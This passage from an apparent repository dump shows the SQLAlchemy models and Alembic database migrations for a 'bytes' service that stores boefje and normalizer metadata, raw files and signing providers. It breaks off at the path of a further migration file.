    "content": "from sqlalchemy import JSON, Column, DateTime, ForeignKey, Index, Integer, String\nfrom sqlalchemy.dialects.postgresql import ARRAY, UUID\nfrom sqlalchemy.orm import relationship\n\nfrom bytes.database.db import SQL_BASE\n\n\nclass BoefjeMetaInDB(SQL_BASE):\n    __tablename__ = \"boefje_meta\"\n\n    id = Column(UUID, primary_key=True)\n    boefje_id = Column(String(length=64), nullable=False)\n    boefje_version = Column(String(length=16))\n    organization = Column(String(length=32), nullable=False)\n    input_ooi = Column(String(length=1024), nullable=True)\n    arguments = Column(JSON, nullable=False, default=lambda: {})\n    environment = Column(JSON, nullable=True, default=lambda: {})\n    runnable_hash = Column(String(length=64), nullable=True)\n\n    started_at = Column(DateTime(timezone=True))\n    ended_at = Column(DateTime(timezone=True))\n\n\nIndex(\"ix_boefje_meta_organization_boefje_id\", BoefjeMetaInDB.organization, BoefjeMetaInDB.boefje_id)\n\n\nclass SigningProviderInDB(SQL_BASE):\n    __tablename__ = \"signing_provider\"\n\n    id = Column(Integer, primary_key=True, autoincrement=True)\n\n    url = Column(String(length=256), nullable=False, unique=True)\n\n\nclass RawFileInDB(SQL_BASE):\n    __tablename__ = \"raw_file\"\n\n    id = Column(UUID, primary_key=True)\n\n    secure_hash = Column(String(length=256), nullable=True)\n    hash_retrieval_link = Column(String(length=2048), nullable=True)\n\n    signing_provider_id = Column(\n        Integer, ForeignKey(\"signing_provider.id\", ondelete=\"CASCADE\"), nullable=True, index=True\n    )\n    signing_provider = relationship(\"SigningProviderInDB\")\n\n    boefje_meta_id = Column(UUID, ForeignKey(\"boefje_meta.id\", ondelete=\"CASCADE\"), nullable=False, index=True)\n    boefje_meta = relationship(\"BoefjeMetaInDB\")\n\n    mime_types = Column(ARRAY(String(length=64)), default=lambda: [])\n\n\nclass NormalizerMetaInDB(SQL_BASE):\n    __tablename__ = \"normalizer_meta\"\n\n    id = Column(UUID, primary_key=True)\n    normalizer_id = Column(String(length=64), nullable=False)\n    normalizer_version = Column(String(length=16))\n    started_at = Column(DateTime(timezone=True))\n    ended_at = Column(DateTime(timezone=True))\n\n    raw_file_id = Column(UUID, ForeignKey(\"raw_file.id\", ondelete=\"CASCADE\"), nullable=False, index=True)\n    raw_file = relationship(\"RawFileInDB\")\n"
  },
  {
    "path": "bytes/bytes/database/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/bytes/database/migrations/env.py",
    "content": "from logging.config import fileConfig\n\nfrom alembic import context\nfrom sqlalchemy import engine_from_config, pool\n\n# this is the Alembic Config object, which provides\n# access to the values within the .ini file in use.\nfrom bytes.config import get_settings\nfrom bytes.database.db import SQL_BASE\n\nconfig = context.config\n\n# Interpret the config file for Python logging.\n# This line sets up loggers basically.\nfileConfig(config.config_file_name)\n\n# add your model's MetaData object here\n# for 'autogenerate' support\ntarget_metadata = SQL_BASE.metadata\nconfig.set_main_option(\"sqlalchemy.url\", str(get_settings().db_uri))\n\n# other values from the config, defined by the needs of env.py,\n# can be acquired:\n# ... etc.\n\n\ndef run_migrations_offline() -> None:\n    \"\"\"Run migrations in 'offline' mode.\n\n    This configures the context with just a URL\n    and not an Engine, though an Engine is acceptable\n    here as well.  By skipping the Engine creation\n    we don't even need a DBAPI to be available.\n\n    Calls to context.execute() here emit the given string to the\n    script output.\n\n    \"\"\"\n    url = config.get_main_option(\"sqlalchemy.url\")\n    context.configure(\n        url=url, target_metadata=target_metadata, literal_binds=True, dialect_opts={\"paramstyle\": \"named\"}\n    )\n\n    with context.begin_transaction():\n        context.run_migrations()\n\n\ndef run_migrations_online() -> None:\n    \"\"\"Run migrations in 'online' mode.\n\n    In this scenario we need to create an Engine\n    and associate a connection with the context.\n\n    \"\"\"\n    connectable = engine_from_config(\n        config.get_section(config.config_ini_section), prefix=\"sqlalchemy.\", poolclass=pool.NullPool\n    )\n\n    with connectable.connect() as connection:\n        context.configure(connection=connection, target_metadata=target_metadata, compare_type=True)\n\n        with context.begin_transaction():\n            context.run_migrations()\n\n\nif context.is_offline_mode():\n    run_migrations_offline()\nelse:\n    run_migrations_online()\n"
  },
  {
    "path": "bytes/bytes/database/migrations/script.py.mako",
    "content": "\"\"\"${message}\n\nRevision ID: ${up_revision}\nRevises: ${down_revision | comma,n}\nCreate Date: ${create_date}\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n${imports if imports else \"\"}\n\n# revision identifiers, used by Alembic.\nrevision = ${repr(up_revision)}\ndown_revision = ${repr(down_revision)}\nbranch_labels = ${repr(branch_labels)}\ndepends_on = ${repr(depends_on)}\n\n\ndef upgrade() -> None:\n    ${upgrades if upgrades else \"pass\"}\n\n\ndef downgrade() -> None:\n    ${downgrades if downgrades else \"pass\"}\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0001_initial.py",
    "content": "\"\"\"Initial migration\n\nRevision ID: 541ec7b3d24e\nRevises:\nCreate Date: 2021-10-19 07:43:37.479544\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"541ec7b3d24e\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"boefje_meta\",\n        sa.Column(\"id\", postgresql.UUID(), nullable=False),\n        sa.Column(\"module_path\", sa.String(), nullable=False),\n        sa.Column(\"module_version\", sa.String(), nullable=True),\n        sa.Column(\"organization\", sa.String(), nullable=False),\n        sa.Column(\"arguments\", sa.JSON(), nullable=False),\n        sa.Column(\"dispatches\", sa.JSON(), nullable=True),\n        sa.Column(\"started_at\", sa.DateTime(timezone=True), nullable=True),\n        sa.Column(\"ended_at\", sa.DateTime(timezone=True), nullable=True),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\"id\"),\n    )\n    op.create_table(\n        \"normalizer_meta\",\n        sa.Column(\"id\", postgresql.UUID(), nullable=False),\n        sa.Column(\"module_path\", sa.String(), nullable=False),\n        sa.Column(\"module_version\", sa.String(), nullable=True),\n        sa.Column(\"started_at\", sa.DateTime(timezone=True), nullable=True),\n        sa.Column(\"ended_at\", sa.DateTime(timezone=True), nullable=True),\n        sa.Column(\"boefje_meta_id\", postgresql.UUID(), nullable=False),\n        sa.ForeignKeyConstraint([\"boefje_meta_id\"], [\"boefje_meta.id\"]),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\"id\"),\n    )\n    op.create_table(\n        \"output_ooi\",\n        sa.Column(\"ooi_id\", sa.String(), nullable=False),\n        sa.Column(\"normalizer_meta_id\", postgresql.UUID(), nullable=False),\n        sa.ForeignKeyConstraint([\"normalizer_meta_id\"], [\"normalizer_meta.id\"]),\n        sa.PrimaryKeyConstraint(\"ooi_id\", \"normalizer_meta_id\"),\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table(\"output_ooi\")\n    op.drop_table(\"normalizer_meta\")\n    op.drop_table(\"boefje_meta\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0002_drop_output_add_input.py",
    "content": "\"\"\"Drop OutputOOI\n\nRevision ID: 0003\nRevises: 5363940815bb\nCreate Date: 2021-12-15 10:50:52.581056\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"5363940815bb\"\ndown_revision = \"541ec7b3d24e\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n\n    # Remove the output_ooi table as Octopoes now contains Combinations for deletion propagation\n    op.drop_table(\"output_ooi\")\n\n    # Set a CASCADE on the boefje_meta_id foreign key in normalizer_meta\n    op.drop_constraint(\"normalizer_meta_boefje_meta_id_fkey\", \"normalizer_meta\", type_=\"foreignkey\")\n    op.create_foreign_key(\n        \"normalizer_meta_boefje_meta_id_fkey\",\n        \"normalizer_meta\",\n        \"boefje_meta\",\n        [\"boefje_meta_id\"],\n        [\"id\"],\n        ondelete=\"CASCADE\",\n    )\n\n    # Clear the boefje_meta table, so we can make the input_ooi column not nullable\n    op.execute(\"DELETE FROM boefje_meta\")\n    op.add_column(\"boefje_meta\", sa.Column(\"input_ooi\", sa.String(), nullable=False))\n\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"boefje_meta\", \"input_ooi\")\n\n    # Drop the CASCADE on the boefje_meta_id foreign key in normalizer_meta\n    op.drop_constraint(\"normalizer_meta_boefje_meta_id_fkey\", \"normalizer_meta\", type_=\"foreignkey\")\n    op.create_foreign_key(\n        \"normalizer_meta_boefje_meta_id_fkey\", \"normalizer_meta\", \"boefje_meta\", [\"boefje_meta_id\"], [\"id\"]\n    )\n    op.create_table(\n        \"output_ooi\",\n        sa.Column(\"ooi_id\", sa.VARCHAR(), autoincrement=False, nullable=False),\n        sa.Column(\"normalizer_meta_id\", postgresql.UUID(), autoincrement=False, nullable=False),\n        sa.ForeignKeyConstraint(\n            [\"normalizer_meta_id\"], [\"normalizer_meta.id\"], name=\"output_ooi_normalizer_meta_id_fkey\"\n        ),\n        sa.PrimaryKeyConstraint(\"ooi_id\", \"normalizer_meta_id\", name=\"output_ooi_pkey\"),\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0003_rename_module_to_normalizer_boefje.py",
    "content": "\"\"\"Rename Module to Normalizer/Boefje\n\nRevision ID: 0003\nRevises: 5363940815bb\nCreate Date: 2021-12-20 13:25:08.395995\n\n\"\"\"\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0003\"\ndown_revision = \"5363940815bb\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"boefje_meta\", \"module_path\", new_column_name=\"boefje_name\")\n    op.alter_column(\"boefje_meta\", \"module_version\", new_column_name=\"boefje_version\")\n\n    op.alter_column(\"normalizer_meta\", \"module_path\", new_column_name=\"normalizer_name\")\n    op.alter_column(\"normalizer_meta\", \"module_version\", new_column_name=\"normalizer_version\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"boefje_meta\", \"boefje_name\", new_column_name=\"module_path\")\n    op.alter_column(\"boefje_meta\", \"boefje_version\", new_column_name=\"module_version\")\n\n    op.alter_column(\"normalizer_meta\", \"normalizer_name\", new_column_name=\"module_path\")\n    op.alter_column(\"normalizer_meta\", \"normalizer_version\", new_column_name=\"module_version\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0004_rename_boefje_name_to_boefje_id.py",
    "content": "\"\"\"Rename boefje_name to boefje_id\n\nRevision ID: 0004\nRevises: 0003\nCreate Date: 2022-01-24 15:53:16.867896\n\n\"\"\"\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0004\"\ndown_revision = \"0003\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"boefje_meta\", \"boefje_name\", new_column_name=\"boefje_id\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"boefje_meta\", \"boefje_id\", new_column_name=\"boefje_name\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0005_add_secure_hash_link_boefje_meta.py",
    "content": "\"\"\"add_secure_hash_link_boefje_meta\n\nRevision ID: 0005\nRevises: 0004\nCreate Date: 2022-03-23 14:28:54.048206\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0005\"\ndown_revision = \"0004\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n\n    op.add_column(\"boefje_meta\", sa.Column(\"secure_hash\", sa.String(), nullable=True))\n    op.add_column(\"boefje_meta\", sa.Column(\"hash_retrieval_link\", sa.String(), nullable=True))\n\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n\n    op.drop_column(\"boefje_meta\", \"hash_retrieval_link\")\n    op.drop_column(\"boefje_meta\", \"secure_hash\")\n\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0006_remove_redundant_dispatches_field.py",
    "content": "\"\"\"Remove redundant dispatches field\n\nRevision ID: 0006\nRevises: 0005\nCreate Date: 2022-03-25 14:28:34.584808\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"0006\"\ndown_revision = \"0005\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"boefje_meta\", \"dispatches\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        \"boefje_meta\",\n        sa.Column(\"dispatches\", postgresql.JSON(astext_type=sa.Text()), autoincrement=False, nullable=True),\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0007_add_raw_file_models.py",
    "content": "\"\"\"Add raw file models\n\nRevision ID: 0007\nRevises: 0006\nCreate Date: 2022-04-04 18:09:09.363168\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"0007\"\ndown_revision = \"0006\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"raw_file\",\n        sa.Column(\"id\", postgresql.UUID(), nullable=False),\n        sa.Column(\"secure_hash\", sa.String(), nullable=True),\n        sa.Column(\"hash_retrieval_link\", sa.String(), nullable=True),\n        sa.Column(\"boefje_meta_id\", postgresql.UUID(), nullable=False),\n        sa.Column(\"mime_types\", postgresql.ARRAY(sa.String()), nullable=True),\n        sa.ForeignKeyConstraint([\"boefje_meta_id\"], [\"boefje_meta.id\"], ondelete=\"CASCADE\"),\n        sa.PrimaryKeyConstraint(\"id\"),\n    )\n    op.drop_column(\"boefje_meta\", \"hash_retrieval_link\")\n    op.drop_column(\"boefje_meta\", \"secure_hash\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\"boefje_meta\", sa.Column(\"secure_hash\", sa.VARCHAR(), autoincrement=False, nullable=True))\n    op.add_column(\"boefje_meta\", sa.Column(\"hash_retrieval_link\", sa.VARCHAR(), autoincrement=False, nullable=True))\n    op.drop_table(\"raw_file\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0008_point_normalizer_to_raw_file.py",
    "content": "\"\"\"Point normalizer to raw file\n\nRevision ID: 0008\nRevises: 0007\nCreate Date: 2022-04-28 14:03:02.214129\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"0008\"\ndown_revision = \"0007\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\"normalizer_meta\", sa.Column(\"raw_file_id\", postgresql.UUID(), autoincrement=False, nullable=True))\n    op.create_foreign_key(\n        \"normalizer_meta_raw_file_id_fkey\", \"normalizer_meta\", \"raw_file\", [\"raw_file_id\"], [\"id\"], ondelete=\"CASCADE\"\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_constraint(\"normalizer_meta_raw_file_id_fkey\", \"normalizer_meta\", type_=\"foreignkey\")\n    op.drop_column(\"normalizer_meta\", \"raw_file_id\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0009_max_length_on_varchar_s.py",
    "content": "\"\"\"Max length on varchar's\n\nRevision ID: 0009\nRevises: 0008\nCreate Date: 2022-06-17 07:44:33.849746\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0009\"\ndown_revision = \"0008\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"boefje_meta\", \"boefje_id\", existing_type=sa.String(), type_=sa.String(length=32), existing_nullable=False\n    )\n    op.alter_column(\n        \"boefje_meta\", \"boefje_version\", existing_type=sa.String(), type_=sa.String(length=16), existing_nullable=True\n    )\n    op.alter_column(\n        \"boefje_meta\", \"organization\", existing_type=sa.String(), type_=sa.String(length=4), existing_nullable=False\n    )\n    op.alter_column(\n        \"boefje_meta\", \"input_ooi\", existing_type=sa.String(), type_=sa.String(length=128), existing_nullable=False\n    )\n\n    op.alter_column(\n        \"raw_file\", \"secure_hash\", existing_type=sa.String(), type_=sa.String(length=256), existing_nullable=True\n    )\n    op.alter_column(\n        \"raw_file\",\n        \"hash_retrieval_link\",\n        existing_type=sa.String(),\n        type_=sa.String(length=128),\n        existing_nullable=True,\n    )\n    op.alter_column(\n        \"raw_file\",\n        \"mime_types\",\n        existing_type=sa.ARRAY(sa.String()),\n        type_=sa.ARRAY(sa.String(length=64)),\n        existing_nullable=False,\n    )\n\n    op.alter_column(\n        \"normalizer_meta\",\n        \"normalizer_name\",\n        existing_type=sa.String(),\n        type_=sa.String(length=32),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"normalizer_meta\",\n        \"normalizer_version\",\n        existing_type=sa.String(),\n        type_=sa.String(length=16),\n        existing_nullable=True,\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"boefje_meta\", \"boefje_id\", existing_type=sa.String(length=32), type_=sa.String(), existing_nullable=False\n    )\n    op.alter_column(\n        \"boefje_meta\", \"boefje_version\", existing_type=sa.String(length=16), type_=sa.String(), existing_nullable=True\n    )\n    op.alter_column(\n        \"boefje_meta\", \"organization\", existing_type=sa.String(length=4), type_=sa.String(), existing_nullable=False\n    )\n    op.alter_column(\n        \"boefje_meta\", \"input_ooi\", existing_type=sa.String(length=128), type_=sa.String(), existing_nullable=False\n    )\n\n    op.alter_column(\n        \"raw_file\", \"secure_hash\", existing_type=sa.String(length=256), type_=sa.String(), existing_nullable=True\n    )\n    op.alter_column(\n        \"raw_file\",\n        \"hash_retrieval_link\",\n        existing_type=sa.String(length=128),\n        type_=sa.String(),\n        existing_nullable=True,\n    )\n    op.alter_column(\n        \"raw_file\",\n        \"mime_types\",\n        existing_type=sa.ARRAY(sa.String(length=64)),\n        type_=sa.ARRAY(sa.String()),\n        existing_nullable=False,\n    )\n\n    op.alter_column(\n        \"normalizer_meta\",\n        \"normalizer_name\",\n        existing_type=sa.String(length=32),\n        type_=sa.String(),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"normalizer_meta\",\n        \"normalizer_version\",\n        existing_type=sa.String(length=16),\n        type_=sa.String(),\n        existing_nullable=True,\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0010_longer_retrieval_link_string.py",
    "content": "\"\"\"Max length on varchar's\n\nRevision ID: 0010\nRevises: 0009\nCreate Date: 2022-06-17 07:44:33.849746\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0010\"\ndown_revision = \"0009\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"raw_file\",\n        \"hash_retrieval_link\",\n        existing_type=sa.String(length=128),\n        type_=sa.String(length=2048),\n        existing_nullable=True,\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"raw_file\",\n        \"hash_retrieval_link\",\n        existing_type=sa.String(length=2048),\n        type_=sa.String(length=128),\n        existing_nullable=True,\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0011_longer_normalizer_name_and_boefje_id.py",
    "content": "\"\"\"Max length on varchar's\n\nRevision ID: 0010\nRevises: 0009\nCreate Date: 2022-06-17 07:44:33.849746\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0011\"\ndown_revision = \"0010\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"normalizer_meta\",\n        \"normalizer_name\",\n        existing_type=sa.String(length=32),\n        type_=sa.String(length=64),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"boefje_meta\",\n        \"boefje_id\",\n        existing_type=sa.String(length=32),\n        type_=sa.String(length=64),\n        existing_nullable=False,\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"boefje_meta\",\n        \"boefje_id\",\n        existing_type=sa.String(length=64),\n        type_=sa.String(length=32),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"normalizer_meta\",\n        \"normalizer_name\",\n        existing_type=sa.String(length=64),\n        type_=sa.String(length=32),\n        existing_nullable=False,\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/0011_rename_normalizer_name_to_normalizer_id.py",
    "content": "\"\"\"Rename normalizer_name to normalizer_id\n\nRevision ID: 0011\nRevises: 0010\nCreate Date: 2022-10-25 09:13:21.807003\n\n\"\"\"\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0011_2\"\ndown_revision = \"0010\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"normalizer_meta\", \"normalizer_name\", new_column_name=\"normalizer_id\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"normalizer_meta\", \"normalizer_id\", new_column_name=\"normalizer_name\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/09a2929108d9_add_signing_provider_model.py",
    "content": "\"\"\"Add signing provider model\n\nRevision ID: 09a2929108d9\nRevises: ec68d3eb14b1\nCreate Date: 2023-05-19 08:24:39.803682\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"09a2929108d9\"\ndown_revision = \"ec68d3eb14b1\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"signing_provider\",\n        sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"url\", sa.String(length=256), nullable=False),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\"url\"),\n    )\n    op.add_column(\"raw_file\", sa.Column(\"signing_provider_id\", sa.Integer(), nullable=True))\n    op.create_index(op.f(\"ix_raw_file_signing_provider_id\"), \"raw_file\", [\"signing_provider_id\"], unique=False)\n    op.create_foreign_key(None, \"raw_file\", \"signing_provider\", [\"signing_provider_id\"], [\"id\"], ondelete=\"CASCADE\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_constraint(None, \"raw_file\", type_=\"foreignkey\")\n    op.drop_index(op.f(\"ix_raw_file_signing_provider_id\"), table_name=\"raw_file\")\n    op.drop_column(\"raw_file\", \"signing_provider_id\")\n    op.drop_table(\"signing_provider\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/1dde0213e9fe_remove_all_hash_mime_types.py",
    "content": "\"\"\"Remove all hash-mime-types\n\nRevision ID: 1dde0213e9fe\nRevises: d216ad75177d\nCreate Date: 2023-10-19 11:26:06.627048\n\n\"\"\"\n\nimport sqlalchemy\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"1dde0213e9fe\"\ndown_revision = \"d216ad75177d\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    conn = op.get_bind()\n    with conn.begin():\n        # Remove mime-types with the pattern  \"boefje/{boefje_id}-%\", i.e. all mime-types containing parameter hashes\n\n        conn.execute(\n            sqlalchemy.text(\n                \"\"\"\nWITH filtered AS (\n    SELECT m.id, array_agg(m.mime_type) AS mime_types FROM (\n        SELECT raw.id, boefje_id, unnest(mime_types) AS mime_type\n        FROM raw_file raw JOIN boefje_meta b ON boefje_meta_id = b.id\n    ) m\n\n    WHERE m.mime_type NOT LIKE concat('boefje/', m.boefje_id, '-%')\n    AND m.mime_type != m.boefje_id\n    GROUP BY m.id\n)\nUPDATE raw_file r SET mime_types = filtered.mime_types FROM filtered WHERE r.id = filtered.id;\"\"\"\n            )\n        )\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    pass\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/65a39ab3e224_increase_organization_and_input_ooi_size.py",
    "content": "\"\"\"Increase organization and input_ooi size\n\nRevision ID: 65a39ab3e224\nRevises: e2f76e95f1e7\nCreate Date: 2022-11-17 13:28:05.911897\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"65a39ab3e224\"\ndown_revision = \"e2f76e95f1e7\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"boefje_meta\",\n        \"organization\",\n        existing_type=sa.VARCHAR(length=4),\n        type_=sa.String(length=8),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"boefje_meta\",\n        \"input_ooi\",\n        existing_type=sa.VARCHAR(length=128),\n        type_=sa.String(length=1024),\n        existing_nullable=False,\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"boefje_meta\",\n        \"input_ooi\",\n        existing_type=sa.String(length=1024),\n        type_=sa.VARCHAR(length=128),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"boefje_meta\",\n        \"organization\",\n        existing_type=sa.String(length=8),\n        type_=sa.VARCHAR(length=4),\n        existing_nullable=False,\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/bytes/database/migrations/versions/d216ad75177d_add_environment_and_runnable_hash_.py",
    "content": "\"\"\"Add environment and runnable hash columns\n\nRevision ID: d216ad75177d\nRevises: 09a2929108d9\nCreate Date: 2023-06-19 13:55:14.188026\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"d216ad75177d\"\ndown_revision = \"09a2929108d9\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\"boefje_meta\", sa.Column(\"environment\", sa.JSON(), nullable=True))\n    op.add_column(\"boefje_meta\", sa.Column(\"runnable_hash\", sa.String(length=64), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"boefje_meta\", \"runnable_hash\")\n    op.drop_column(\"boefje_meta\", \"environment\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/e09d8780e34b_nullable_input_ooi.py",
    "content": "\"\"\"Nullable input_ooi\n\nRevision ID: e09d8780e34b\nRevises: 65a39ab3e224\nCreate Date: 2022-12-02 08:45:30.638883\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"e09d8780e34b\"\ndown_revision = \"65a39ab3e224\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"boefje_meta\", \"input_ooi\", existing_type=sa.VARCHAR(length=128), nullable=True)\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"boefje_meta\", \"input_ooi\", existing_type=sa.VARCHAR(length=128), nullable=False)\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "bytes/bytes/database/migrations/versions/e2f76e95f1e7_.py",
